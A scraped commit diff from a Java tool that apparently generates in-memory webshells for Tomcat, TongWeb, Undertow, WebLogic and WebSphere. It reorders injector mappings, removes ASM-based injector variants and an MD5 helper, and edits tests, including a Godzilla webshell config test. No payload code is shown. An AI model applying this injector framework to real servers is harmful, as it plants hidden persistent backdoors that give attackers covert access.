.addInjector(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, SpringWebMvcFrameworkServletAgentInjector.class)
|
.addInjector(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, SpringWebMvcFrameworkServletAgentInjector.class)
|
||||||
.addInjector(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET_ASM, SpringWebMvcFrameworkServletAgentWithAsmInjector.class)
|
|
||||||
.build();
|
.build();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -33,18 +33,16 @@ public class TomcatShell extends AbstractShell {
|
|||||||
@Override
|
@Override
|
||||||
public InjectorMapping getShellInjectorMapping() {
|
public InjectorMapping getShellInjectorMapping() {
|
||||||
return InjectorMapping.builder()
|
return InjectorMapping.builder()
|
||||||
.addInjector(LISTENER, TomcatListenerInjector.class)
|
|
||||||
.addInjector(JAKARTA_LISTENER, TomcatListenerInjector.class)
|
|
||||||
.addInjector(FILTER, TomcatFilterInjector.class)
|
|
||||||
.addInjector(JAKARTA_FILTER, TomcatFilterInjector.class)
|
|
||||||
.addInjector(VALVE, TomcatValveInjector.class)
|
|
||||||
.addInjector(JAKARTA_VALVE, TomcatValveInjector.class)
|
|
||||||
.addInjector(SERVLET, TomcatServletInjector.class)
|
.addInjector(SERVLET, TomcatServletInjector.class)
|
||||||
.addInjector(JAKARTA_SERVLET, TomcatServletInjector.class)
|
.addInjector(JAKARTA_SERVLET, TomcatServletInjector.class)
|
||||||
|
.addInjector(FILTER, TomcatFilterInjector.class)
|
||||||
|
.addInjector(JAKARTA_FILTER, TomcatFilterInjector.class)
|
||||||
|
.addInjector(LISTENER, TomcatListenerInjector.class)
|
||||||
|
.addInjector(JAKARTA_LISTENER, TomcatListenerInjector.class)
|
||||||
|
.addInjector(VALVE, TomcatValveInjector.class)
|
||||||
|
.addInjector(JAKARTA_VALVE, TomcatValveInjector.class)
|
||||||
.addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class)
|
.addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class)
|
||||||
.addInjector(AGENT_FILTER_CHAIN_ASM, TomcatFilterChainAgentWithAsmInjector.class)
|
|
||||||
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, TomcatContextValveAgentInjector.class)
|
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, TomcatContextValveAgentInjector.class)
|
||||||
.addInjector(CATALINA_AGENT_CONTEXT_VALVE_ASM, TomcatContextValveAgentWithAsmInjector.class)
|
|
||||||
.addInjector(WEBSOCKET, TomcatWebSocketInjector.class)
|
.addInjector(WEBSOCKET, TomcatWebSocketInjector.class)
|
||||||
.build();
|
.build();
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -18,16 +18,14 @@ public class TongWeb6Shell extends AbstractShell {
|
|||||||
@Override
|
@Override
|
||||||
public InjectorMapping getShellInjectorMapping() {
|
public InjectorMapping getShellInjectorMapping() {
|
||||||
return InjectorMapping.builder()
|
return InjectorMapping.builder()
|
||||||
.addInjector(LISTENER, TongWebListenerInjector.class)
|
|
||||||
.addInjector(JAKARTA_LISTENER, TongWebListenerInjector.class)
|
|
||||||
.addInjector(FILTER, TongWebFilterInjector.class)
|
.addInjector(FILTER, TongWebFilterInjector.class)
|
||||||
.addInjector(JAKARTA_FILTER, TongWebFilterInjector.class)
|
.addInjector(JAKARTA_FILTER, TongWebFilterInjector.class)
|
||||||
|
.addInjector(LISTENER, TongWebListenerInjector.class)
|
||||||
|
.addInjector(JAKARTA_LISTENER, TongWebListenerInjector.class)
|
||||||
.addInjector(VALVE, TongWebValveInjector.class)
|
.addInjector(VALVE, TongWebValveInjector.class)
|
||||||
.addInjector(JAKARTA_VALVE, TongWebValveInjector.class)
|
.addInjector(JAKARTA_VALVE, TongWebValveInjector.class)
|
||||||
.addInjector(AGENT_FILTER_CHAIN, TongWebFilterChainAgentInjector.class)
|
.addInjector(AGENT_FILTER_CHAIN, TongWebFilterChainAgentInjector.class)
|
||||||
.addInjector(AGENT_FILTER_CHAIN_ASM, TongWebFilterChainAgentWithAsmInjector.class)
|
|
||||||
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, TongWebContextValveAgentInjector.class)
|
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, TongWebContextValveAgentInjector.class)
|
||||||
.addInjector(CATALINA_AGENT_CONTEXT_VALVE_ASM, TongWebContextValveAgentWithAsmInjector.class)
|
|
||||||
.build();
|
.build();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -18,16 +18,14 @@ public class TongWeb7Shell extends AbstractShell {
|
|||||||
@Override
|
@Override
|
||||||
public InjectorMapping getShellInjectorMapping() {
|
public InjectorMapping getShellInjectorMapping() {
|
||||||
return InjectorMapping.builder()
|
return InjectorMapping.builder()
|
||||||
.addInjector(LISTENER, TongWebListenerInjector.class)
|
|
||||||
.addInjector(JAKARTA_LISTENER, TongWebListenerInjector.class)
|
|
||||||
.addInjector(FILTER, TongWebFilterInjector.class)
|
.addInjector(FILTER, TongWebFilterInjector.class)
|
||||||
.addInjector(JAKARTA_FILTER, TongWebFilterInjector.class)
|
.addInjector(JAKARTA_FILTER, TongWebFilterInjector.class)
|
||||||
|
.addInjector(LISTENER, TongWebListenerInjector.class)
|
||||||
|
.addInjector(JAKARTA_LISTENER, TongWebListenerInjector.class)
|
||||||
.addInjector(VALVE, TongWebValveInjector.class)
|
.addInjector(VALVE, TongWebValveInjector.class)
|
||||||
.addInjector(JAKARTA_VALVE, TongWebValveInjector.class)
|
.addInjector(JAKARTA_VALVE, TongWebValveInjector.class)
|
||||||
.addInjector(AGENT_FILTER_CHAIN, TongWebFilterChainAgentInjector.class)
|
.addInjector(AGENT_FILTER_CHAIN, TongWebFilterChainAgentInjector.class)
|
||||||
.addInjector(AGENT_FILTER_CHAIN_ASM, TongWebFilterChainAgentWithAsmInjector.class)
|
|
||||||
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, TongWebContextValveAgentInjector.class)
|
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, TongWebContextValveAgentInjector.class)
|
||||||
.addInjector(CATALINA_AGENT_CONTEXT_VALVE_ASM, TongWebContextValveAgentWithAsmInjector.class)
|
|
||||||
.build();
|
.build();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,6 +1,9 @@
|
|||||||
package com.reajason.javaweb.memshell.server;
|
package com.reajason.javaweb.memshell.server;
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.injector.undertow.*;
|
import com.reajason.javaweb.memshell.injector.undertow.UndertowFilterInjector;
|
||||||
|
import com.reajason.javaweb.memshell.injector.undertow.UndertowListenerInjector;
|
||||||
|
import com.reajason.javaweb.memshell.injector.undertow.UndertowServletInitialHandlerAgentInjector;
|
||||||
|
import com.reajason.javaweb.memshell.injector.undertow.UndertowServletInjector;
|
||||||
import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
|
import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
|
||||||
import net.bytebuddy.asm.Advice;
|
import net.bytebuddy.asm.Advice;
|
||||||
import net.bytebuddy.implementation.bytecode.assign.Assigner;
|
import net.bytebuddy.implementation.bytecode.assign.Assigner;
|
||||||
@@ -38,14 +41,13 @@ public class UndertowShell extends AbstractShell {
|
|||||||
@Override
|
@Override
|
||||||
public InjectorMapping getShellInjectorMapping() {
|
public InjectorMapping getShellInjectorMapping() {
|
||||||
return InjectorMapping.builder()
|
return InjectorMapping.builder()
|
||||||
.addInjector(LISTENER, UndertowListenerInjector.class)
|
|
||||||
.addInjector(JAKARTA_LISTENER, UndertowListenerInjector.class)
|
|
||||||
.addInjector(FILTER, UndertowFilterInjector.class)
|
|
||||||
.addInjector(JAKARTA_FILTER, UndertowFilterInjector.class)
|
|
||||||
.addInjector(SERVLET, UndertowServletInjector.class)
|
.addInjector(SERVLET, UndertowServletInjector.class)
|
||||||
.addInjector(JAKARTA_SERVLET, UndertowServletInjector.class)
|
.addInjector(JAKARTA_SERVLET, UndertowServletInjector.class)
|
||||||
|
.addInjector(FILTER, UndertowFilterInjector.class)
|
||||||
|
.addInjector(JAKARTA_FILTER, UndertowFilterInjector.class)
|
||||||
|
.addInjector(LISTENER, UndertowListenerInjector.class)
|
||||||
|
.addInjector(JAKARTA_LISTENER, UndertowListenerInjector.class)
|
||||||
.addInjector(UNDERTOW_AGENT_SERVLET_HANDLER, UndertowServletInitialHandlerAgentInjector.class)
|
.addInjector(UNDERTOW_AGENT_SERVLET_HANDLER, UndertowServletInitialHandlerAgentInjector.class)
|
||||||
.addInjector(UNDERTOW_AGENT_SERVLET_HANDLER_ASM, UndertowServletInitialHandlerAgentWithAsmInjector.class)
|
|
||||||
.build();
|
.build();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,6 +1,9 @@
|
|||||||
package com.reajason.javaweb.memshell.server;
|
package com.reajason.javaweb.memshell.server;
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.injector.weblogic.*;
|
import com.reajason.javaweb.memshell.injector.weblogic.WebLogicFilterInjector;
|
||||||
|
import com.reajason.javaweb.memshell.injector.weblogic.WebLogicListenerInjector;
|
||||||
|
import com.reajason.javaweb.memshell.injector.weblogic.WebLogicServletContextAgentInjector;
|
||||||
|
import com.reajason.javaweb.memshell.injector.weblogic.WebLogicServletInjector;
|
||||||
|
|
||||||
import static com.reajason.javaweb.memshell.ShellType.*;
|
import static com.reajason.javaweb.memshell.ShellType.*;
|
||||||
|
|
||||||
@@ -18,11 +21,10 @@ public class WebLogicShell extends AbstractShell {
|
|||||||
@Override
|
@Override
|
||||||
public InjectorMapping getShellInjectorMapping() {
|
public InjectorMapping getShellInjectorMapping() {
|
||||||
return InjectorMapping.builder()
|
return InjectorMapping.builder()
|
||||||
.addInjector(LISTENER, WebLogicListenerInjector.class)
|
|
||||||
.addInjector(FILTER, WebLogicFilterInjector.class)
|
|
||||||
.addInjector(SERVLET, WebLogicServletInjector.class)
|
.addInjector(SERVLET, WebLogicServletInjector.class)
|
||||||
|
.addInjector(FILTER, WebLogicFilterInjector.class)
|
||||||
|
.addInjector(LISTENER, WebLogicListenerInjector.class)
|
||||||
.addInjector(WEBLOGIC_AGENT_SERVLET_CONTEXT, WebLogicServletContextAgentInjector.class)
|
.addInjector(WEBLOGIC_AGENT_SERVLET_CONTEXT, WebLogicServletContextAgentInjector.class)
|
||||||
.addInjector(WEBLOGIC_AGENT_SERVLET_CONTEXT_ASM, WebLogicServletContextAgentWithAsmInjector.class)
|
|
||||||
.build();
|
.build();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,6 +1,9 @@
|
|||||||
package com.reajason.javaweb.memshell.server;
|
package com.reajason.javaweb.memshell.server;
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.injector.websphere.*;
|
import com.reajason.javaweb.memshell.injector.websphere.WebSphereFilterChainAgentInjector;
|
||||||
|
import com.reajason.javaweb.memshell.injector.websphere.WebSphereFilterInjector;
|
||||||
|
import com.reajason.javaweb.memshell.injector.websphere.WebSphereListenerInjector;
|
||||||
|
import com.reajason.javaweb.memshell.injector.websphere.WebSphereServletInjector;
|
||||||
import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
|
import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
|
||||||
import net.bytebuddy.asm.Advice;
|
import net.bytebuddy.asm.Advice;
|
||||||
import net.bytebuddy.implementation.bytecode.assign.Assigner;
|
import net.bytebuddy.implementation.bytecode.assign.Assigner;
|
||||||
@@ -29,11 +32,10 @@ public class WebSphereShell extends AbstractShell {
|
|||||||
@Override
|
@Override
|
||||||
public InjectorMapping getShellInjectorMapping() {
|
public InjectorMapping getShellInjectorMapping() {
|
||||||
return InjectorMapping.builder()
|
return InjectorMapping.builder()
|
||||||
.addInjector(LISTENER, WebSphereListenerInjector.class)
|
|
||||||
.addInjector(FILTER, WebSphereFilterInjector.class)
|
|
||||||
.addInjector(SERVLET, WebSphereServletInjector.class)
|
.addInjector(SERVLET, WebSphereServletInjector.class)
|
||||||
|
.addInjector(FILTER, WebSphereFilterInjector.class)
|
||||||
|
.addInjector(LISTENER, WebSphereListenerInjector.class)
|
||||||
.addInjector(WAS_AGENT_FILTER_MANAGER, WebSphereFilterChainAgentInjector.class)
|
.addInjector(WAS_AGENT_FILTER_MANAGER, WebSphereFilterChainAgentInjector.class)
|
||||||
.addInjector(WAS_AGENT_FILTER_MANAGER_ASM, WebSphereFilterChainAgentWithAsmInjector.class)
|
|
||||||
.build();
|
.build();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -87,7 +87,7 @@ public class CommonUtil {
|
|||||||
return sb.toString();
|
return sb.toString();
|
||||||
}
|
}
|
||||||
|
|
||||||
public static String getRandomPackageName() {
|
private static String getRandomPackageName() {
|
||||||
return PACKAGE_NAMES[new Random().nextInt(PACKAGE_NAMES.length)] + "." + getRandomString(5);
|
return PACKAGE_NAMES[new Random().nextInt(PACKAGE_NAMES.length)] + "." + getRandomString(5);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -1,30 +0,0 @@
|
|||||||
package com.reajason.javaweb.memshell.utils;
|
|
||||||
|
|
||||||
import java.security.MessageDigest;
|
|
||||||
import java.security.NoSuchAlgorithmException;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2025/4/6
|
|
||||||
*/
|
|
||||||
public class DigestUtils {
|
|
||||||
public static String md5Hex(String input) {
|
|
||||||
try {
|
|
||||||
MessageDigest md = MessageDigest.getInstance("MD5");
|
|
||||||
byte[] hashBytes = md.digest(input.getBytes());
|
|
||||||
|
|
||||||
// Convert byte array to hex string
|
|
||||||
StringBuilder hexString = new StringBuilder();
|
|
||||||
for (byte b : hashBytes) {
|
|
||||||
String hex = Integer.toHexString(0xff & b);
|
|
||||||
if (hex.length() == 1) {
|
|
||||||
hexString.append('0');
|
|
||||||
}
|
|
||||||
hexString.append(hex);
|
|
||||||
}
|
|
||||||
return hexString.toString();
|
|
||||||
} catch (NoSuchAlgorithmException e) {
|
|
||||||
throw new RuntimeException("MD5 algorithm not found", e);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -49,7 +49,7 @@ class GeneratorMainTest {
|
|||||||
if (generateResult != null) {
|
if (generateResult != null) {
|
||||||
Files.write(Paths.get(generateResult.getInjectorClassName() + ".class"), generateResult.getInjectorBytes(), StandardOpenOption.CREATE_NEW);
|
Files.write(Paths.get(generateResult.getInjectorClassName() + ".class"), generateResult.getInjectorBytes(), StandardOpenOption.CREATE_NEW);
|
||||||
Files.write(Paths.get(generateResult.getShellClassName() + ".class"), generateResult.getShellBytes(), StandardOpenOption.CREATE_NEW);
|
Files.write(Paths.get(generateResult.getShellClassName() + ".class"), generateResult.getShellBytes(), StandardOpenOption.CREATE_NEW);
|
||||||
// System.out.println(Base64.getEncoder().encodeToString(generateResult.getInjectorBytes()));
|
// System.out.println(Base64.encodeBase64String(generateResult.getInjectorBytes()));
|
||||||
// System.out.println(Packers.ScriptEngine.getInstance().pack(generateResult));
|
// System.out.println(Packers.ScriptEngine.getInstance().pack(generateResult));
|
||||||
// Files.write(Path.of("target.jar"), Packer.INSTANCE.AgentJar.getPacker().packBytes(generateResult));
|
// Files.write(Path.of("target.jar"), Packer.INSTANCE.AgentJar.getPacker().packBytes(generateResult));
|
||||||
}
|
}
|
||||||
|
|||||||
+2
-3
@@ -2,7 +2,7 @@ package com.reajason.javaweb.memshell.config;
|
|||||||
|
|
||||||
import org.junit.jupiter.api.Test;
|
import org.junit.jupiter.api.Test;
|
||||||
|
|
||||||
import static org.junit.jupiter.api.Assertions.*;
|
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
@@ -14,7 +14,6 @@ class GodzillaShellConfigTest {
|
|||||||
void test() {
|
void test() {
|
||||||
GodzillaConfig shellConfig = GodzillaConfig.builder()
|
GodzillaConfig shellConfig = GodzillaConfig.builder()
|
||||||
.pass("pass").build();
|
.pass("pass").build();
|
||||||
assertEquals("pass", shellConfig.getPass());
|
assertEquals("key", shellConfig.getKey());
|
||||||
assertNotEquals("key", shellConfig.getKey());
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
-32
@@ -1,32 +0,0 @@
|
|||||||
package com.reajason.javaweb.memshell.generator;
|
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.config.CustomConfig;
|
|
||||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
|
||||||
import com.reajason.javaweb.memshell.utils.CommonUtil;
|
|
||||||
import lombok.SneakyThrows;
|
|
||||||
import net.bytebuddy.ByteBuddy;
|
|
||||||
import net.bytebuddy.jar.asm.ClassReader;
|
|
||||||
import java.util.Base64;;
|
|
||||||
import org.junit.jupiter.api.Test;
|
|
||||||
|
|
||||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2025/3/19
|
|
||||||
*/
|
|
||||||
class CustomShellGeneratorTest {
|
|
||||||
|
|
||||||
@Test
|
|
||||||
@SneakyThrows
|
|
||||||
void test() {
|
|
||||||
byte[] bytes = new ByteBuddy()
|
|
||||||
.subclass(Object.class)
|
|
||||||
.name(CommonUtil.generateShellClassName()).make().getBytes();
|
|
||||||
String className = CommonUtil.generateShellClassName();
|
|
||||||
byte[] bytes1 = new CustomShellGenerator(ShellConfig.builder().build(), CustomConfig.builder().shellClassName(className).shellClassBase64(Base64.getEncoder().encodeToString(bytes)).build()).getBytes();
|
|
||||||
|
|
||||||
ClassReader classReader = new ClassReader(bytes1);
|
|
||||||
assertEquals(className, classReader.getClassName().replace("/", "."));
|
|
||||||
}
|
|
||||||
}
|
|
||||||
-32
@@ -1,32 +0,0 @@
|
|||||||
package com.reajason.javaweb.memshell.generator;
|
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.config.InjectorConfig;
|
|
||||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
|
||||||
import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentWithAsmInjector;
|
|
||||||
import org.junit.jupiter.api.Test;
|
|
||||||
|
|
||||||
import java.util.Map;
|
|
||||||
|
|
||||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
|
||||||
import static org.junit.jupiter.api.Assertions.assertTrue;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2025/3/27
|
|
||||||
*/
|
|
||||||
class InjectorGeneratorTest {
|
|
||||||
|
|
||||||
@Test
|
|
||||||
void testAsm() {
|
|
||||||
InjectorConfig injectorConfig = InjectorConfig.builder()
|
|
||||||
.shellClassBytes("hello".getBytes())
|
|
||||||
.shellClassName("hello")
|
|
||||||
.injectorClass(TomcatFilterChainAgentWithAsmInjector.class)
|
|
||||||
.build();
|
|
||||||
InjectorGenerator injectorGenerator = new InjectorGenerator(ShellConfig.builder().build(), injectorConfig);
|
|
||||||
// injectorGenerator.generate();
|
|
||||||
Map<String, byte[]> innerClassBytes = injectorGenerator.getInnerClassBytes();
|
|
||||||
assertEquals(2, innerClassBytes.size());
|
|
||||||
innerClassBytes.forEach((innerClassName, value) -> assertTrue(innerClassName.startsWith(injectorConfig.getInjectorClassName())));
|
|
||||||
}
|
|
||||||
}
|
|
||||||
File diff suppressed because one or more lines are too long
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user